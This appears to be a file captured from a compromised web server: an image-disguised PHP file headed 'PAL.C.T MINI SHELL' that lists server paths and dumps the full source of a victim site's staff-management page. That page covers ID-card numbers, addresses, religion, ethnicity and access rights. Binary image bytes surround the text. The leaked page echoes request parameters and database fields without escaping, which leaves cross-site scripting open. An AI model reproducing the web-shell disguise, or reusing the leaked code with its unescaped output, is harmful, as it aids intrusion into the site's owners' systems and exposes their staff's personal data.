php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/FTFL/webhq/modul/web_contents/
upload
files >> //var/www/html/FTFL/webhq/modul/web_contents/detailstaff.php

<div class="card">
    <div class="header">
        <h2>
            Edit Staff
        </h2>
        
    </div>
    <div class="body">
        <?php 
            $qgetstaff = $con->prepare("SELECT * FROM staff WHERE uuid_staff=?");
            $qgetstaff->execute(array($_GET['uuid_staff']));
            $rgetstaff = $qgetstaff->fetch(PDO::FETCH_ASSOC);
        ?>
        <span class="txt-jdl">Username</span>   
        <h4 class="txt-dtl"><?php echo $rgetstaff['username'];?></h4>

        <span class="txt-jdl">Nama</span>   
        <h4 class="txt-dtl"><?php echo $rgetstaff['nama_staff'];?></h4>

        <span class="txt-jdl">Status</span>   
        <h4 class="txt-dtl"><span class="label <?php fncwarna_status_staff($rgetstaff['status']) ?>"><?php echo $rgetstaff['status'];?></span></h4>
        <br>


        <form id="form" method="post" enctype="multipart/form-data" action="modul/web_contents/aksi_update_staff.php">
            <input type="hidden" name="uuid_staff" value="<?php echo $_GET['uuid_staff'];?>">
            
            <div class="form-group form-float">
                <div class="form-line">
                    <input type="text" class="form-control" name="no_ktp" value="<?php echo $rgetstaff['no_ktp'];?>" required>
                    <label class="form-label">No. KTP</label>
                </div>
                
            </div>
            <div class="form-group form-float">
                <div class="form-line">
                    <input type="text" class="form-control" name="phone_staff" value="<?php echo $rgetstaff['phone_staff'];?>" required>
                    <label class="form-label">Phone</label>
                </div>
                
            </div>
            <div class="form-group form-float">
                <div class="form-line">
                    <input type="text" class="form-control" name="alamat_staff" value="<?php echo $rgetstaff['alamat_staff'];?>" required>
                    <label class="form-label">Alamat</label>
                </div>
                
            </div>
            <div class="form-group form-float">
                <div class="form-line">
                    <input type="text" class="form-control" name="agama" value="<?php echo $rgetstaff['agama'];?>" required>
                    <label class="form-label">Agama</label>
                </div>
                
            </div>
            <div class="form-group form-float">
                <div class="form-line">
                    <input type="text" class="form-control" name="suku" value="<?php echo $rgetstaff['suku'];?>" required>
                    <label class="form-label">Suku</label>
                </div>
                
            </div>
            <div class="form-group form-float">
                <label>Foto KTP</label>
                <input type="file" name="foto1" id="foto1" accept=".jpg" onchange="readURL1(this);"><br>
                <img src="assets/staff/<?php echo $rgetstaff['foto_ktp'];?>" id="showfoto1" class="img-responsive pull-left" style="max-height: 170px">
                <span class="txt-clue pull-left" style="margin-left: 10px">file size: 2MB<br>
                    format: JPG<br>
                    size: 500x500px
                </span> 

                <div class="clearfix"></div>

                <script type="text/javascript">
                    function readURL1(input) {
                           if (input.files && input.files[0]) {
                           var reader = new FileReader();

                           var file = input.files[0];
                           var sizeKB = file.size / 1024;
                           if(sizeKB < 2000){
                            reader.onload = function (e) {
                                 $('#showfoto1')
                                 .attr('src', e.target.result);             
                             };

                             reader.readAsDataURL(input.files[0]);
                           }else{
                            alert("max: 2MB");
                            $('#foto1').val("");
                           }
                       }
                     }
                </script>
               
            </div>
                
            
            <h3>DETAIL JABATAN</h3>
            <div class="form-group form-float">
                <div class="form-line">
                    <input type="text" class="form-control" name="jabatan" value="<?php echo $rgetstaff['jabatan'];?>" required>
                    <label class="form-label">Jabatan</label>
                </div>
                
            </div>

            <div class="form-group form-float">
                <?php 
                    $nwo = 1;
                ?>
                <label>Jenis Toko</label><br>
                <?php $ckjenistoko =  explode("|",substr($rgetstaff['jenis_toko'], 0,-1)); ?>
                <input type="checkbox" <?php foreach($ckjenistoko as $p){if($p == "TOKO"){ echo "checked"; }}?> class="filled-in chk-col-blue" id="cbx<?php echo $nwo;?>" name="ckjenistoko[]" value="TOKO"><label class="lbl-checkbox" for="cbx<?php echo $nwo; $nwo++; ?>"> TOKO</label>&nbsp;&nbsp;&nbsp;
                <input type="checkbox" <?php foreach($ckjenistoko as $p){if($p == "FBC"){ echo "checked"; }}?> class="filled-in chk-col-blue" id="cbx<?php echo $nwo;?>" name="ckjenistoko[]" value="FBC"><label class="lbl-checkbox" for="cbx<?php echo $nwo; $nwo++; ?>"> FBC</label>&nbsp;&nbsp;&nbsp;
                <input type="checkbox" <?php foreach($ckjenistoko as $p){if($p == "BSS"){ echo "checked"; }}?> class="filled-in chk-col-blue" id="cbx<?php echo $nwo;?>" name="ckjenistoko[]" value="BSS"><label class="lbl-checkbox" for="cbx<?php echo $nwo; $nwo++; ?>"> BSS</label>&nbsp;&nbsp;&nbsp;
                <input type="checkbox" <?php foreach($ckjenistoko as $p){if($p == "END USER"){ echo "checked"; }}?> class="filled-in chk-col-blue" id="cbx<?php echo $nwo;?>" name="ckjenistoko[]" value="END USER"><label class="lbl-checkbox" for="cbx<?php echo $nwo; $nwo++; ?>"> END USER</label>
            </div>

            <div class="form-group form-float">                
                <label>Wewenang Apps</label><br>
                <?php $ckwewenangapps =  explode("|",substr($rgetstaff['wewenang'], 0,-1)); ?>
                <input type="checkbox" <?php foreach($ckwewenangapps as $p){if($p == "apps"){ echo "checked"; }}?> class="filled-in chk-col-blue" id="cbx<?php echo $nwo;?>" name="ckwewenangapps[]" value="apps"><label class="lbl-checkbox" for="cbx<?php echo $nwo; $nwo++; ?>"> apps</label>&nbsp;&nbsp;&nbsp;
                <input type="checkbox" <?php foreach($ckwewenangapps as $p){if($p == "apps-customer"){ echo "checked"; }}?> class="filled-in chk-col-blue" id="cbx<?php echo $nwo;?>" name="ckwewenangapps[]" value="apps-customer"><label class="lbl-checkbox" for="cbx<?php echo $nwo; $nwo++; ?>"> apps-customer</label>&nbsp;&nbsp;&nbsp;
                <input type="checkbox" <?php foreach($ckwewenangapps as $p){if($p == "apps-kunjungan"){ echo "checked"; }}?> class="filled-in chk-col-blue" id="cbx<?php echo $nwo;?>" name="ckwewenangapps[]" value="apps-kunjungan"><label class="lbl-checkbox" for="cbx<?php echo $nwo; $nwo++; ?>"> apps-kunjungan</label>&nbsp;&nbsp;&nbsp;
                <input type="checkbox" <?php foreach($ckwewenangapps as $p){if($p == "apps-orderan"){ echo "checked"; }}?> class="filled-in chk-col-blue" id="cbx<?php echo $nwo;?>" name="ckwewenangapps[]" value="apps-orderan"><label class="lbl-checkbox" for="cbx<?php echo $nwo; $nwo++; ?>"> apps-orderan</label>&nbsp;&nbsp;&nbsp;
                <input type="checkbox" <?php foreach($ckwewenangapps as $p){if($p == "apps-tagihan"){ echo "checked"; }}?> class="filled-in chk-col-blue" id="cbx<?php echo $nwo;?>" name="ckwewenangapps[]" value="apps-tagihan"><label class="lbl-checkbox" for="cbx<?php echo $nwo; $nwo++; ?>"> apps-tagihan</label>&nbsp;&nbsp;&nbsp;
                <input type="checkbox" <?php foreach($ckwewenangapps as $p){if($p == "apps-promo"){ echo "checked"; }}?> class="filled-in chk-col-blue" id="cbx<?php echo $nwo;?>" name="ckwewenangapps[]" value="apps-promo"><label class="lbl-checkbox" for="cbx<?php echo $nwo; $nwo++; ?>"> apps-promo</label>&nbsp;&nbsp;&nbsp;
            </div>

            <div class="form-group form-float">                
                <label>Wewenang Web</label><br>
                <?php $ckwewenangapps =  explode("|",substr($rgetstaff['wewenang'], 0,-1)); ?>
                
                <input type="checkbox" <?php foreach($ckwewenangapps as $p){if($p == "adm-staff"){ echo "checked"; }}?> class="filled-in chk-col-blue" id="cbx<?php echo $nwo;?>" name="ckwewenangapps[]" value="adm-staff"><label class="lbl-checkbox" for="cbx<?php echo $nwo; $nwo++; ?>"> STAFF</label><br>&nbsp;&nbsp;&nbsp;&nbsp;
                <input type="checkbox" <?php foreach($ckwewenangapps as $p){if($p == "adm-staff-tambah"){ echo "checked"; }}?> class="filled-in chk-col-blue" id="cbx<?php echo $nwo;?>" name="ckwewenangapps[]" value="adm-staff-tambah"><label class="lbl-checkbox" for="cbx<?php echo $nwo; $nwo++; ?>"> Tambah</label> / 
                <input type="checkbox" <?php foreach($ckwewenangapps as $p){if($p == "adm-staff-simpan"){ echo "checked"; }}?> class="filled-in chk-col-blue" id="cbx<?php echo $nwo;?>" name="ckwewenangapps[]" value="adm-staff-simpan"><label class="lbl-checkbox" for="cbx<?php echo $nwo; $nwo++; ?>"> Simpan</label> / 
                <input type="checkbox" <?php foreach($ckwewenangapps as $p){if($p == "adm-staff-edit"){ echo "checked"; }}?> class="filled-in chk-col-blue" id="cbx<?php echo $nwo;?>" name="ckwewenangapps[]" value="adm-staff-edit"><label class="lbl-checkbox" for="cbx<?php echo $nwo; $nwo++; ?>"> Edit Status</label> / 
                <input type="checkbox" <?php foreach($ckwewenangapps as $p){if($p == "adm-staff-ubahpass"){ echo "checked"; }}?> class="filled-in chk-col-blue" id="cbx<?php echo $nwo;?>" name="ckwewenangapps[]" value="adm-staff-ubahpass"><label class="lbl-checkbox" for="cbx<?php echo $nwo; $nwo++; ?>"> Ubah Password</label><br>
                <input type="checkbox" <?php foreach($ckwewenangapps as $p){if($p == "adm-customer"){ echo "checked"; }}?> class="filled-in chk-col-blue" id="cbx<?php echo $nwo;?>" name="ckwewenangapps[]" value="adm-customer"><label class="lbl-checkbox" for="cbx<?php echo $nwo; $nwo++; ?>"> CUSTOMER</label><br>
                <input type="checkbox" <?php foreach($ckwewenangapps as $p){if($p == "adm-kunjungan"){ echo "checked"; }}?> class="filled-in chk-col-blue" id="cbx<?php echo $nwo;?>" name="ckwewenangapps[]" value="adm-kunjungan"><label class="lbl-checkbox" for="cbx<?php echo $nwo; $nwo++; ?>"> KUNJUNGAN</label><br>
                <input type="checkbox" <?php foreach($ckwewenangapps as $p){if($p == "adm-promo"){ echo "checked"; }}?> class="filled-in chk-col-blue" id="cbx<?php echo $nwo;?>" name="ckwewenangapps[]" value="adm-promo"><label class="lbl-checkbox" for="cbx<?php echo $nwo; $nwo++; ?>"> PROMO</label><br>&nbsp;&nbsp;&nbsp;&nbsp;
                <input type="checkbox" <?php foreach($ckwewenangapps as $p){if($p == "adm-promo-tambah"){ echo "checked"; }}?> class="filled-in chk-col-blue" id="cbx<?php echo $nwo;?>" name="ckwewenangapps[]" value="adm-promo-tambah"><label class="lbl-checkbox" for="cbx<?php echo $nwo; $nwo++; ?>"> Tambah</label> /
                <input type="checkbox" <?php foreach($ckwewenangapps as $p){if($p == "adm-promo-edit"){ echo "checked"; }}?> class="filled-in chk-col-blue" id="cbx<?php echo $nwo;?>" name="ckwewenangapps[]" value="adm-promo-edit"><label class="lbl-checkbox" for="cbx<?php echo $nwo; $nwo++; ?>"> Edit</label>
                
            </div>


            <div class="form-group form-float">
                <div class="form-line">
                    <textarea name="catatan_staff" cols="30" rows="3" class="form-control no-resize"><?php echo $rgetstaff['catatan_staff'];?></textarea>
                    <label class="form-label">Catatan Staff</label>
                </div>
                
            </div>

            <div class="form-group form-float">
                <?php 
                foreach($hk as $p){if($p == "adm-staff-simpan"){
               ?>
                <button class="btn btn-success btn-lg waves-effect" type="submit"><i class="material-icons">save</i>&nbsp; SIMPAN</button>&nbsp;&nbsp;&nbsp;
                <?php }}
                ?>
                
                <?php 
                	if($rgetstaff['status'] != "HAPUS"){
                ?>
                    <?php 
                    foreach($hk as $p){if($p == "adm-staff-edit"){
                   ?>
                	<button class="btn btn-primary btn-lg waves-effect" type="button" data-toggle="modal" data-target="#mdlstatus"><i class="material-icons">update</i>&nbsp; EDIT STATUS</button>&nbsp;&nbsp;&nbsp;
                     <?php }}
                        ?>
            	<?php } ?>

                <?php 
                    foreach($hk as $p){if($p == "adm-staff-ubahpass"){
                   ?>
                <button class="btn btn-warning btn-lg waves-effect" type="button" data-toggle="modal" data-target="#mdlpassword"><i class="material-icons">lock</i>&nbsp; UBAH PASSWORD</button>&nbsp;&nbsp;&nbsp;
                <?php }}
                    ?>

                <?php 
                    if($rgetstaff['status'] == "AKTIF"){
                ?>
                    <button type="button" data-toggle="modal" data-target="#mdlkunjunganstaff" class="btn btn-primary waves-effect btn-lg">
                        <i class="material-icons">home</i>&nbsp; KUNJUNGAN
                    </button>&nbsp;&nbsp;&nbsp;
                <?php } ?>
                

                <!-- <?php 
                    if($rgetstaff['status'] == "AKTIF"){
                ?>
                <a class="btn btn-warning btn-lg waves-effect" href="modul/web_contents/aksi_genpassword.php?uuid_staff=<?php echo $rgetstaff['uuid_staff'];?>" onclick="return confirm('Yakin mau Generate Password?')"><i class="material-icons">lock</i>&nbsp; GENERATE PASSWORD</a>&nbsp;&nbsp;&nbsp;	
                <?php } ?> -->

                <br><br>
                <a href="media.php?module=staff" class="btn btn-danger btn-lg waves-effect"><i class="material-icons">arrow_back</i>&nbsp; KEMBALI</a>
            </div>
        </form>
        <script>
            $('form').submit(function(){
                $(this).find('button[type=submit]').prop('disabled', true);
            });
        </script>

        <!-- MODAL KUNJUNGAN SINGLE -->
        <div class="modal fade" id="mdlkunjunganstaff" tabindex="-1" role="dialog">
            <div class="modal-dialog" role="document">
                <div class="modal-content">
                    <div class="modal-header">
                        <h4 class="modal-title" id="">Add Kunjungan</h4>
                    </div>
                    <div class="modal-body">
                        <form method="get" action="media.php">
                            <input type="hidden" name="module" value="add_kunjunganstaff">
                            <input type="hidden" name="uuid_staff" value="<?php echo $rgetstaff['uuid_staff'];?>">
                            <div class="form-group form-float">
                                
                                <label>Jenis Toko</label><br>
                                <?php foreach($ckjenistoko as $p){if($p == "TOKO"){ ?>
                                <input type="radio" class="filled-in with-gap radio-col-blue" id="cbx<?php echo $nwo;?>" name="jenis" value="TOKO" checked><label class="lbl-checkbox" for="cbx<?php echo $nwo; $nwo++; ?>"> TOKO</label>&nbsp;&nbsp;&nbsp;
                                <?php }} ?>
                                <?php foreach($ckjenistoko as $p){if($p == "FBC"){ ?>
                                <input type="radio" class="filled-in with-gap radio-col-blue" id="cbx<?php echo $nwo;?>" name="jenis" value="FBC"><label class="lbl-checkbox" for="cbx<?php echo $nwo; $nwo++; ?>"> FBC</label>&nbsp;&nbsp;&nbsp;
                                <?php }} ?>
                                <?php foreach($ckjenistoko as $p){if($p == "BSS"){ ?>
                                <input type="radio" class="filled-in with-gap radio-col-blue" id="cbx<?php echo $nwo;?>" name="jenis" value="BSS"><label class="lbl-checkbox" for="cbx<?php echo $nwo; $nwo++; ?>"> BSS</label>&nbsp;&nbsp;&nbsp;
                                <?php }} ?>
                                <?php foreach($ckjenistoko as $p){if($p == "END USER"){ ?>
                                <input type="radio" class="filled-in with-gap radio-col-blue" id="cbx<?php echo $nwo;?>" name="jenis" value="END USER"><label class="lbl-checkbox" for="cbx<?php echo $nwo; $nwo++; ?>"> END USER</label>&nbsp;&nbsp;&nbsp;
                                <?php }} ?>
                            </div>
                            
                            <div class="form-group form-float">
                                
                                <button type="submit" class="btn btn-success waves-effect btn-lg"><i class="material-icons">add</i>&nbsp; KUNJUNGAN</button>
                                <button type="button" class="btn btn-link waves-effect" data-dismiss="modal">CLOSE</button>
                            </div>
                        </form>

                    </div>
                </div>
            </div>
        </div>
        
        <!-- MODAL STATUS -->
        <div class="modal fade" id="mdlstatus" tabindex="-1" role="dialog">
	        <div class="modal-dialog" role="document">
	            <div class="modal-content">
	                <div class="modal-header">
	                    <h4 class="modal-title" id="mdlstatusLabel">Edit Status</h4>
	                </div>
	                <div class="modal-body">
	                	<form method="post" action="modul/web_contents/aksi_edit_statusstaff.php">
	                		<input type="hidden" name="uuid_staff" value="<?php echo $_GET['uuid_staff'];?>">
		                    <div class="row clearfix">
		                        <div class="col-md-4" style="margin-bottom: 0">
		                            <div class="form-group form-float">
		                                <div class="form-line">
		                                    <label>Status</label>
		                                    <select class="form-control show-tick" name="status" required="">
		                                        <option value="">-- Status --</option>
		                                        <?php if($rgetstaff['status']!= "AKTIF"){?>
			                                        <option value="AKTIF">AKTIF</option>
			                                    <?php }?>

			                                    <?php if($rgetstaff['status']!= "SUSPEND"){?>
		                                        	<option value="SUSPEND">SUSPEND</option>
		                                        <?php }?>

			                                    <?php if($rgetstaff['status']!= "RESIGN"){?>
		                                        	<option value="RESIGN">RESIGN</option>
		                                        <?php }?>

			                                    <?php if($rgetstaff['status']!= "HAPUS"){?>
			                                        <option value="HAPUS">HAPUS</option>
			                                    <?php }?>
		                                    </select>
		                                </div>
		                            </div>
		                        </div>
		                    </div>
		                    <div class="form-group form-float">
				                <div class="form-line">
				                    <textarea name="catatan" cols="30" rows="3" class="form-control no-resize" required=""></textarea>
				                    <label class="form-label">Catatan</label>
				                </div>
				                
				            </div>
				            <div class="form-group form-float">
				            	<span class="text-muted">NB: Status tidak bisa diubah lagi setelah Status HAPUS</span><br><br>
			                    <button type="submit" class="btn btn-success waves-effect">EDIT STATUS</button>&nbsp;&nbsp;&nbsp;
			                    <button type="button" class="btn btn-link waves-effect" data-dismiss="modal">CLOSE</button>
			                </div>
		                </form>

	                </div>
	            </div>
	        </div>
	    </div>

        <!-- MODAL STATUS -->
        <div class="modal fade" id="mdlpassword" tabindex="-1" role="dialog">
            <div class="modal-dialog" role="document">
                <div class="modal-content">
                    <div class="modal-header">
                        <h4 class="modal-title" id="mdlstatusLabel">Ubah Password</h4>
                    </div>
                    <div class="modal-body">
                        <form method="post" id="frmpass" action="modul/web_contents/aksi_ubahpassword.php">
                            <input type="hidden" name="uuid_staff" value="<?php echo $_GET['uuid_staff'];?>">
                            
                            <div class="form-group form-float">
                                <div class="form-line">
                                    <div class="form-line">
                                        <input type="password" class="form-control" name="password1" id="password1" required>
                                        <label class="form-label">Password Baru</label>
                                    </div>
                                </div>
                                
                            </div>
                            <div class="form-group form-float">
                                <div class="form-line">
                                    <div class="form-line">
                                        <input type="password" class="form-control" name="password2" id="password2" required>
                                        <label class="form-label">Confirm Password Baru</label>
                                    </div>
                                </div>
                                
                            </div>
                            <div class="form-group form-float">
                                
                                <button type="submit" class="btn btn-success waves-effect">UBAH PASSWORD</button>&nbsp;&nbsp;&nbsp;
                                <button type="button" class="btn btn-link waves-effect" data-dismiss="modal">CLOSE</button>
                            </div>
                        </form>
                        <script type="text/javascript">
                            $(document)
                            .on('click', '#frmpass button[type=submit]', function(e) {
                                ;
                               
                                if($('#password1').val() != $('#password2').val()){
                                  alert("Password tidak sesuai!");
                                  e.preventDefault(); //prevent the default action
                                }
                            });
                        </script>
                    </div>
                </div>
            </div>
        </div>

	    <!-- STAFF LOG -->
        <div class="row">
            <div class="col-md-12">
                <h3>STAFF LOG</h3>
                <table class="table table-striped" style="max-width: 700px">
                    <tr>
                        <th width="10px">No.</th>
                        <th width="180px">Tanggal</th>
                        <th width="120px">Aktivitas</th>
                        <th>Catatan</th>
                    </tr>
                    <?php 
                        $no = 0;
                        $qgetstafflog = $con->prepare("SELECT * FROM staff_log WHERE uuid_staff = ? ORDER BY id_staff_log ASC");
                        $qgetstafflog->execute(array($_GET['uuid_staff']));
                        while($rgetstafflog = $qgetstafflog->fetch(PDO::FETCH_ASSOC)){
                            $no++;
                    ?>
                    <tr>
                        <td><?php echo $no;?></td>
                        <td><?php echo DateToIndo2($rgetstafflog['tanggal']);?> <?php echo $rgetstafflog['waktu'];?></td>
                        <td><?php echo $rgetstafflog['aktivitas'];?></td>
                        <td><?php echo $rgetstafflog['catatan'];?></td>
                    </tr>
                <?php } ?>
                </table>
            </div>
        </div>


    </div>
</div>
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`